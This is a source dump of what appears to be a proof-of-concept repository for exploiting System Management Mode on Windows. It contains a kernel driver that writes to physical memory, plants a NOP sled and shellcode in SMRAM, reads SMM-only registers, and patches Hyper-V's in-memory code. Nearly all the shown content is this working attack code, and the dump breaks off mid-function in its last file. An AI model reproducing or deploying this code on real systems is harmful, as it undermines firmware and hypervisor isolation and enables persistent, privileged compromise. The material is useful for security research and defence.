├── Demo.png ├── Demo ├── Demo │ ├── PhysicalMemory.hpp │ ├── SmmShellCode.hpp │ ├── Demo.vcxproj.filters │ ├── Demo.hpp │ ├── PhysicalMemory.cpp │ ├── Demo.vcxproj │ ├── SmmShellCode.cpp │ ├── FindSystemManagementServiceTable.cpp │ └── Demo.cpp ├── Demo.sln └── .gitignore ├── LICENSE └── README.md /Demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tandasat/SmmExploit/HEAD/Demo.png -------------------------------------------------------------------------------- /Demo/Demo/PhysicalMemory.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Demo.hpp" 3 | 4 | class PhysicalMemory 5 | { 6 | public: 7 | NTSTATUS 8 | Initialize ( 9 | ); 10 | 11 | NTSTATUS 12 | Read ( 13 | PVOID Buffer, 14 | ULONG64 SourceAddress, 15 | SIZE_T BytesToRead 16 | ) const; 17 | 18 | NTSTATUS 19 | Write ( 20 | ULONG64 DestinationAddress, 21 | PVOID Buffer, 22 | SIZE_T BytesToWrite 23 | ) const; 24 | 25 | ~PhysicalMemory ( 26 | ); 27 | 28 | private: 29 | enum class OPERATION_TYPE 30 | { 31 | Read, 32 | Write, 33 | }; 34 | 35 | NTSTATUS 36 | Copy ( 37 | ULONG64 AddressToMap, 38 | PVOID Buffer, 39 | SIZE_T BytesToCopy, 40 | OPERATION_TYPE Operation 41 | ) const; 42 | 43 | HANDLE m_SectionHandle = {}; 44 | }; 45 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Satoshi Tanda 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Demo/Demo/SmmShellCode.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Demo.hpp" 3 | #include "PhysicalMemory.hpp" 4 | 5 | struct HOOKED_SMM_LOCATE_PROTOCOL_PARAMETER_BLOCK 6 | { 7 | ULONG64 Untouched; 8 | ULONG64 Smbase; // IA32_SMBASE (9eh) 9 | ULONG64 SmmFeatureControl; // MSR_SMM_FEATURE_CONTROL (4e0h) 10 | ULONG64 SmmMcaCap; // MSR_SMM_MCA_CAP (17dh) 11 | ULONG64 Eptp; // Value of EPTP VM-execution control field 7ED8h 12 | ULONG64 HvPatchedAddress; 13 | }; 14 | 15 | class SmmShellCode 16 | { 17 | public: 18 | SmmShellCode ( 19 | ); 20 | 21 | NTSTATUS 22 | Install ( 23 | const PhysicalMemory& Pm 24 | ); 25 | 26 | ~SmmShellCode ( 27 | ); 28 | 29 | private: 30 | static const ULONG64 k_ShellCodeEntryPoint = 0x07070707; 31 | static const ULONG64 k_ShellCodeAddress = 0x07070710; 32 | static const SIZE_T k_NopSledSize = k_ShellCodeAddress - k_ShellCodeEntryPoint; 33 | 34 | const SIZE_T m_FunctionSize; 35 | const SIZE_T m_ShellCodeSize; 36 | PVOID m_OriginalCode = {}; 37 | const PhysicalMemory* m_Pm = {}; 38 | }; 39 | -------------------------------------------------------------------------------- /Demo/Demo.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30804.86 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Demo", "Demo\Demo.vcxproj", "{4739404E-1E7D-4920-8F09-C29C09221600}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Release|x64 = Release|x64 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {4739404E-1E7D-4920-8F09-C29C09221600}.Debug|x64.ActiveCfg = Debug|x64 15 | {4739404E-1E7D-4920-8F09-C29C09221600}.Debug|x64.Build.0 = Debug|x64 16 | {4739404E-1E7D-4920-8F09-C29C09221600}.Debug|x64.Deploy.0 = Debug|x64 17 | {4739404E-1E7D-4920-8F09-C29C09221600}.Release|x64.ActiveCfg = Release|x64 18 | {4739404E-1E7D-4920-8F09-C29C09221600}.Release|x64.Build.0 = Release|x64 19 | {4739404E-1E7D-4920-8F09-C29C09221600}.Release|x64.Deploy.0 = Release|x64 20 | EndGlobalSection 21 | GlobalSection(SolutionProperties) = preSolution 22 | HideSolutionNode = FALSE 23 | EndGlobalSection 24 | GlobalSection(ExtensibilityGlobals) = postSolution 25 | SolutionGuid = {0BA85537-7BD4-4DB3-885C-335FE6A740B3} 26 | EndGlobalSection 27 | EndGlobal 28 | -------------------------------------------------------------------------------- /Demo/Demo/Demo.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Source Files 24 | 25 | 26 | Source Files 27 | 28 | 29 | Source Files 30 | 31 | 32 | Source Files 33 | 34 | 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | -------------------------------------------------------------------------------- /Demo/Demo/Demo.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #ifndef Add2Ptr 8 | #define Add2Ptr(P,I) ((PVOID)((PUCHAR)(P) + (I))) 9 | #endif 10 | 11 | constexpr ULONG k_PoolTag = 'OMED'; 12 | 13 | #define DEMO_INFO(Format, ...) \ 14 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, \ 15 | DPFLTR_ERROR_LEVEL, \ 16 | "[+] %s: " Format "\n", \ 17 | __FUNCTION__, \ 18 | __VA_ARGS__) 19 | 20 | #define DEMO_ERROR(Format, ...) \ 21 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, \ 22 | DPFLTR_ERROR_LEVEL, \ 23 | "[-] %s: " Format "\n", \ 24 | __FUNCTION__, \ 25 | __VA_ARGS__) 26 | 27 | // 28 | // EDK2 things 29 | // 30 | #define EFIAPI __cdecl 31 | typedef UINT64 UINTN; 32 | typedef UINTN RETURN_STATUS; 33 | typedef RETURN_STATUS EFI_STATUS; 34 | typedef GUID EFI_GUID; 35 | typedef HANDLE EFI_HANDLE; 36 | typedef PHYSICAL_ADDRESS EFI_PHYSICAL_ADDRESS; 37 | typedef wchar_t CHAR16; 38 | #define EFI_SECURITY_VIOLATION (0x8000000000000000ULL | 26) 39 | 40 | typedef struct 41 | { 42 | UINT64 Signature; 43 | UINT32 Revision; 44 | UINT32 HeaderSize; 45 | UINT32 CRC32; 46 | UINT32 Reserved; 47 | } EFI_TABLE_HEADER; 48 | 49 | typedef struct 50 | { 51 | void* Read; 52 | void* Write; 53 | } EFI_MM_IO_ACCESS; 54 | 55 | typedef struct 56 | { 57 | EFI_MM_IO_ACCESS Mem; 58 | EFI_MM_IO_ACCESS Io; 59 | } EFI_SMM_CPU_IO2_PROTOCOL; 60 | 61 | // 62 | // https://github.com/tianocore/edk2/blob/stable/202011/MdePkg/Include/Pi/PiSmmCis.h#L107 63 | // 64 | typedef struct 65 | { 66 | EFI_TABLE_HEADER Hdr; 67 | CHAR16* SmmFirmwareVendor; 68 | UINT32 SmmFirmwareRevision; 69 | void* SmmInstallConfigurationTable; 70 | EFI_SMM_CPU_IO2_PROTOCOL SmmIo; 71 | void* SmmAllocatePool; 72 | void* SmmFreePool; 73 | void* SmmAllocatePages; 74 | void* SmmFreePages; 75 | void* SmmStartupThisAp; 76 | UINTN CurrentlyExecutingCpu; 77 | UINTN NumberOfCpus; 78 | UINTN* CpuSaveStateSize; 79 | void** CpuSaveState; 80 | UINTN NumberOfTableEntries; 81 | void* SmmConfigurationTable; 82 | void* SmmInstallProtocolInterface; 83 | void* SmmUninstallProtocolInterface; 84 | void* SmmHandleProtocol; 85 | void* SmmRegisterProtocolNotify; 86 | void* SmmLocateHandle; 87 | void* SmmLocateProtocol; 88 | void* SmiManage; 89 | void* SmiHandlerRegister; 90 | void* SmiHandlerUnRegister; 91 | } EFI_SMM_SYSTEM_TABLE2; 92 | static_assert(FIELD_OFFSET(EFI_SMM_SYSTEM_TABLE2, SmmLocateProtocol) == 0xd0); 93 | 94 | // 95 | // https://github.com/tianocore/edk2/blob/stable/202011/MdeModulePkg/Core/PiSmmCore/PiSmmCorePrivateData.h#L117 96 | // 97 | typedef struct 98 | { 99 | UINTN Signature; 100 | EFI_HANDLE SmmIplImageHandle; 101 | UINTN SmramRangeCount; 102 | void* SmramRanges; 103 | void* SmmEntryPoint; 104 | BOOLEAN SmmEntryPointRegistered; 105 | BOOLEAN InSmm; 106 | EFI_SMM_SYSTEM_TABLE2* Smst; 107 | void* CommunicationBuffer; 108 | UINTN BufferSize; 109 | EFI_STATUS ReturnStatus; 110 | EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase; 111 | UINT64 PiSmmCoreImageSize; 112 | EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint; 113 | } SMM_CORE_PRIVATE_DATA; 114 | static_assert(FIELD_OFFSET(SMM_CORE_PRIVATE_DATA, Smst) == 0x30); 115 | -------------------------------------------------------------------------------- /Demo/Demo/PhysicalMemory.cpp: -------------------------------------------------------------------------------- 1 | #include "PhysicalMemory.hpp" 2 | 3 | NTSTATUS 4 | PhysicalMemory::Initialize ( 5 | ) 6 | { 7 | static const UNICODE_STRING deviceName = 8 | RTL_CONSTANT_STRING(L"\\Device\\PhysicalMemory"); 9 | static const OBJECT_ATTRIBUTES attributes = 10 | RTL_CONSTANT_OBJECT_ATTRIBUTES(&deviceName, 11 | OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE); 12 | NTSTATUS status; 13 | HANDLE sectionHandle; 14 | 15 | status = ZwOpenSection(§ionHandle, 16 | SECTION_ALL_ACCESS, 17 | const_cast(&attributes)); 18 | if (!NT_SUCCESS(status)) 19 | { 20 | DEMO_ERROR("ZwOpenSection failed : %08x", status); 21 | goto Exit; 22 | } 23 | 24 | m_SectionHandle = sectionHandle; 25 | 26 | Exit: 27 | return status; 28 | } 29 | 30 | NTSTATUS 31 | PhysicalMemory::Read ( 32 | PVOID Buffer, 33 | ULONG64 SourceAddress, 34 | SIZE_T BytesToRead 35 | ) const 36 | { 37 | return Copy(SourceAddress, Buffer, BytesToRead, OPERATION_TYPE::Read); 38 | } 39 | 40 | NTSTATUS 41 | PhysicalMemory::Write ( 42 | ULONG64 DestinationAddress, 43 | PVOID Buffer, 44 | SIZE_T BytesToWrite 45 | ) const 46 | { 47 | return Copy(DestinationAddress, Buffer, BytesToWrite, OPERATION_TYPE::Write); 48 | } 49 | 50 | PhysicalMemory::~PhysicalMemory ( 51 | ) 52 | { 53 | if (m_SectionHandle != nullptr) 54 | { 55 | ZwClose(m_SectionHandle); 56 | } 57 | } 58 | 59 | NTSTATUS 60 | PhysicalMemory::Copy ( 61 | ULONG64 AddressToMap, 62 | PVOID Buffer, 63 | SIZE_T BytesToCopy, 64 | OPERATION_TYPE Operation 65 | ) const 66 | { 67 | NTSTATUS status; 68 | PVOID virtualAddress; 69 | LARGE_INTEGER physicalAddress; 70 | SIZE_T viewSize; 71 | 72 | virtualAddress = nullptr; 73 | 74 | viewSize = BytesToCopy; 75 | physicalAddress.QuadPart = AddressToMap; 76 | status = ZwMapViewOfSection(m_SectionHandle, 77 | ZwCurrentProcess(), 78 | &virtualAddress, 79 | 0, 80 | BytesToCopy, 81 | &physicalAddress, 82 | &viewSize, 83 | ViewUnmap, 84 | 0, 85 | PAGE_READWRITE); 86 | if (!NT_SUCCESS(status)) 87 | { 88 | DEMO_ERROR("ZwMapViewOfSection failed for 0x%llx : %08x", AddressToMap, status); 89 | goto Exit; 90 | } 91 | 92 | __try 93 | { 94 | if (Operation == OPERATION_TYPE::Read) 95 | { 96 | RtlCopyMemory(Buffer, Add2Ptr(virtualAddress, (AddressToMap & 0xfff)), BytesToCopy); 97 | } 98 | else 99 | { 100 | RtlCopyMemory(Add2Ptr(virtualAddress, (AddressToMap & 0xfff)), Buffer, BytesToCopy); 101 | } 102 | } 103 | __except (EXCEPTION_EXECUTE_HANDLER) 104 | { 105 | status = GetExceptionCode(); 106 | 107 | // 108 | // Noisy for the current use. Ignore. 109 | // 110 | //DEMO_ERROR("Exception occurred with 0x%llx : %08x", AddressToMap, status); 111 | goto Exit; 112 | } 113 | 114 | Exit: 115 | if (virtualAddress != nullptr) 116 | { 117 | ZwUnmapViewOfSection(ZwCurrentProcess(), virtualAddress); 118 | } 119 | return status; 120 | } 121 | -------------------------------------------------------------------------------- /Demo/Demo/Demo.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {4739404E-1E7D-4920-8F09-C29C09221600} 15 | {1bc93793-694f-48fe-9372-81e2b05556fd} 16 | v4.5 17 | 12.0 18 | Debug 19 | Win32 20 | Demo 21 | 22 | 23 | 24 | Windows10 25 | true 26 | WindowsKernelModeDriver10.0 27 | Driver 28 | KMDF 29 | Universal 30 | Spectre 31 | 32 | 33 | Windows10 34 | false 35 | WindowsKernelModeDriver10.0 36 | Driver 37 | KMDF 38 | Universal 39 | Spectre 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | DbgengKernelDebugger 51 | 52 | 53 | DbgengKernelDebugger 54 | 55 | 56 | 57 | stdcpp17 58 | 5040;%(DisableSpecificWarnings) 59 | POOL_ZERO_DOWN_LEVEL_SUPPORT;POOL_NX_OPTIN;%(PreprocessorDefinitions) 60 | 61 | 62 | 63 | 64 | stdcpp17 65 | 5040;%(DisableSpecificWarnings) 66 | POOL_ZERO_DOWN_LEVEL_SUPPORT;POOL_NX_OPTIN;%(PreprocessorDefinitions) 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /Demo/Demo/SmmShellCode.cpp: -------------------------------------------------------------------------------- 1 | #include "SmmShellCode.hpp" 2 | 3 | // 4 | // See EFI_LOCATE_PROTOCOL for the prototype. 5 | // 6 | static 7 | EFI_STATUS 8 | EFIAPI 9 | HookedSmmLocateProtocol ( 10 | EFI_GUID* Protocol, 11 | PVOID Registration, 12 | PVOID* Interface 13 | ) 14 | { 15 | HOOKED_SMM_LOCATE_PROTOCOL_PARAMETER_BLOCK* block; 16 | 17 | UNREFERENCED_PARAMETER(Protocol); 18 | UNREFERENCED_PARAMETER(Registration); 19 | UNREFERENCED_PARAMETER(Interface); 20 | 21 | block = static_cast(nullptr); 22 | 23 | // 24 | // Read SMM-only accessible MSRs. 25 | // 26 | block->Smbase = __readmsr(0x9e); 27 | block->SmmFeatureControl = __readmsr(0x4e0); 28 | block->SmmMcaCap = __readmsr(0x17d); 29 | 30 | // 31 | // Setting of "enable EPT" VM-execution control. This is available only when 32 | // the bit 1 of the other field at 0x7EE0 is set. 33 | // 34 | if ((*static_cast(Add2Ptr(block->Smbase, 0x8000 + 0x7EE0)) & 1) == 1) 35 | { 36 | block->Eptp = *static_cast(Add2Ptr(block->Smbase, 0x8000 + 0x7ED8)); 37 | } 38 | else 39 | { 40 | block->Eptp = 0; 41 | } 42 | 43 | // 44 | // Find Hyper-V (hvix64.exe) code to patch if Hyper-V is present. 45 | // 46 | // When Hyper-V is enabled, there is a large reserved physical memory region 47 | // starting at 0x100000000 (just above 4GB) that is not readable from the OS. 48 | // We will start scanning this region up to a somewhat arbitrary size. 49 | // NB: Those hard coded numbers may be removed by consulting 50 | // HKLM\HARDWARE\RESOURCEMAP\System Resources\Reserved\.Translated 51 | // The signature is expected appear at the large page (2MB boundary) so skip 52 | // over that much on mismatch. 53 | // 54 | block->HvPatchedAddress = 0; 55 | if (block->Eptp == 0) 56 | { 57 | goto Exit; 58 | } 59 | 60 | for (ULONG64 address = 0x100000000; address < 0x108000000; address += 0x200000) 61 | { 62 | // 63 | // hvix64.exe's code section starts with at least 8 bytes of 0xCC 64 | // 65 | if (*reinterpret_cast(address) != 0xCCCCCCCCCCCCCCCC) 66 | { 67 | continue; 68 | } 69 | 70 | // 71 | // Find code that sets "Microsoft Hv" as the result of CPUID:4000000h. 72 | // 73 | // 6F 73 6F 66 41 C7 41 0C is the pattern for 18362 and known not to work 74 | // on 19042. 75 | // 76 | for (ULONG offset = 0; offset < 0x200000; offset += 0x10) 77 | { 78 | if (*reinterpret_cast(address + offset) != 0x0C41C741666F736F) 79 | { 80 | continue; 81 | } 82 | 83 | // 84 | // Found it. Patch it to return "Hv Tampered!" instead. 85 | // 86 | block->HvPatchedAddress = address + offset; 87 | *reinterpret_cast(block->HvPatchedAddress - 8) = 'T vH'; 88 | *reinterpret_cast(block->HvPatchedAddress ) = 'epma'; 89 | *reinterpret_cast(block->HvPatchedAddress + 8) = '!der'; 90 | goto Exit; 91 | } 92 | } 93 | 94 | Exit: 95 | // 96 | // I think this is a security violation. Report it. 97 | // 98 | return EFI_SECURITY_VIOLATION; 99 | } 100 | 101 | static void HookedSmmLocateProtocolZZZ() {} 102 | 103 | SmmShellCode::SmmShellCode ( 104 | ) : 105 | m_FunctionSize(reinterpret_cast(HookedSmmLocateProtocolZZZ) - 106 | reinterpret_cast(HookedSmmLocateProtocol)), 107 | m_ShellCodeSize(k_NopSledSize + m_FunctionSize) 108 | { 109 | } 110 | 111 | NTSTATUS 112 | SmmShellCode::Install ( 113 | const PhysicalMemory& Pm 114 | ) 115 | { 116 | NTSTATUS status; 117 | PVOID originalCode; 118 | UCHAR nops[k_NopSledSize]; 119 | 120 | originalCode = ExAllocatePoolWithTag(NonPagedPoolNx, m_ShellCodeSize, k_PoolTag); 121 | if (originalCode == nullptr) 122 | { 123 | DEMO_ERROR("Memory allocation failed: %llu", m_ShellCodeSize); 124 | status = STATUS_INSUFFICIENT_RESOURCES; 125 | goto Exit; 126 | } 127 | 128 | status = Pm.Read(originalCode, k_ShellCodeEntryPoint, m_ShellCodeSize); 129 | if (!NT_SUCCESS(status)) 130 | { 131 | DEMO_ERROR("Read failed : %08x", status); 132 | goto Exit; 133 | } 134 | 135 | RtlFillMemory(nops, sizeof(nops), 0x90); 136 | status = Pm.Write(k_ShellCodeEntryPoint, nops, sizeof(nops)); 137 | if (!NT_SUCCESS(status)) 138 | { 139 | DEMO_ERROR("Write failed : %08x", status); 140 | goto Exit; 141 | } 142 | 143 | status = Pm.Write(k_ShellCodeAddress, reinterpret_cast(HookedSmmLocateProtocol), m_FunctionSize); 144 | if (!NT_SUCCESS(status)) 145 | { 146 | DEMO_ERROR("Write failed. System left corrupted : %08x", status); 147 | goto Exit; 148 | } 149 | 150 | m_OriginalCode = originalCode; 151 | m_Pm = &Pm; 152 | 153 | Exit: 154 | if (!NT_SUCCESS(status)) 155 | { 156 | if (originalCode != nullptr) 157 | { 158 | ExFreePoolWithTag(originalCode, k_PoolTag); 159 | } 160 | } 161 | return status; 162 | } 163 | 164 | SmmShellCode::~SmmShellCode ( 165 | ) 166 | { 167 | if (m_OriginalCode != nullptr) 168 | { 169 | NTSTATUS status; 170 | 171 | status = m_Pm->Write(k_ShellCodeEntryPoint, m_OriginalCode, m_ShellCodeSize); 172 | if (!NT_SUCCESS(status)) 173 | { 174 | DEMO_ERROR("Write failed. System left corrupted : %08x", status); 175 | } 176 | ExFreePoolWithTag(m_OriginalCode, k_PoolTag); 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /Demo/.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc 262 | 263 | # WPP 264 | *.mof 265 | 266 | # CppCheck 267 | *.cppcheck 268 | **/*-cppcheck-build-dir 269 | 270 | # Doxygen 271 | Doxygen/ 272 | 273 | # .lib files collected by the Pre-Link script 274 | Libs/ 275 | -------------------------------------------------------------------------------- /Demo/Demo/FindSystemManagementServiceTable.cpp: -------------------------------------------------------------------------------- 1 | #include "Demo.hpp" 2 | #include "PhysicalMemory.hpp" 3 | 4 | static 5 | PVOID 6 | MemMem ( 7 | const void* SearchBase, 8 | SIZE_T SearchSize, 9 | const void* Pattern, 10 | SIZE_T PatternSize, 11 | SIZE_T Alignment 12 | ) 13 | { 14 | if (PatternSize > SearchSize) 15 | { 16 | return nullptr; 17 | } 18 | 19 | Alignment = (Alignment == 0) ? 1 : Alignment; 20 | 21 | auto searchBase = static_cast(SearchBase); 22 | for (SIZE_T i = 0; i <= SearchSize - PatternSize; i += Alignment) 23 | { 24 | if (!memcmp(Pattern, &searchBase[i], PatternSize)) 25 | { 26 | return const_cast(&searchBase[i]); 27 | } 28 | } 29 | return nullptr; 30 | } 31 | 32 | class MemoryScanner 33 | { 34 | public: 35 | NTSTATUS 36 | Initialize ( 37 | const PhysicalMemory& Pm 38 | ); 39 | 40 | ULONG64 41 | Scan ( 42 | ULONG64 ScanBase, 43 | SIZE_T ScanLength, 44 | const void* Pattern, 45 | SIZE_T PatternLength, 46 | SIZE_T Alignment 47 | ) const; 48 | 49 | ~MemoryScanner ( 50 | ); 51 | 52 | private: 53 | const PhysicalMemory* m_Pm; 54 | mutable PVOID m_ScanBuffer; 55 | }; 56 | 57 | NTSTATUS 58 | MemoryScanner::Initialize ( 59 | const PhysicalMemory& Pm 60 | ) 61 | { 62 | NTSTATUS status; 63 | PVOID scanBuffer; 64 | 65 | scanBuffer = ExAllocatePoolWithTag(PagedPool, PAGE_SIZE, k_PoolTag); 66 | if (scanBuffer == nullptr) 67 | { 68 | DEMO_ERROR("Memory allocation failed : %lu", PAGE_SIZE); 69 | status = STATUS_INSUFFICIENT_RESOURCES; 70 | goto Exit; 71 | } 72 | 73 | status = STATUS_SUCCESS; 74 | m_Pm = &Pm; 75 | m_ScanBuffer = scanBuffer; 76 | 77 | Exit: 78 | return status; 79 | } 80 | 81 | ULONG64 82 | MemoryScanner::Scan ( 83 | ULONG64 ScanBase, 84 | SIZE_T ScanLength, 85 | const void* Pattern, 86 | SIZE_T PatternLength, 87 | SIZE_T Alignment 88 | ) const 89 | { 90 | for (ULONG64 pageOffset = 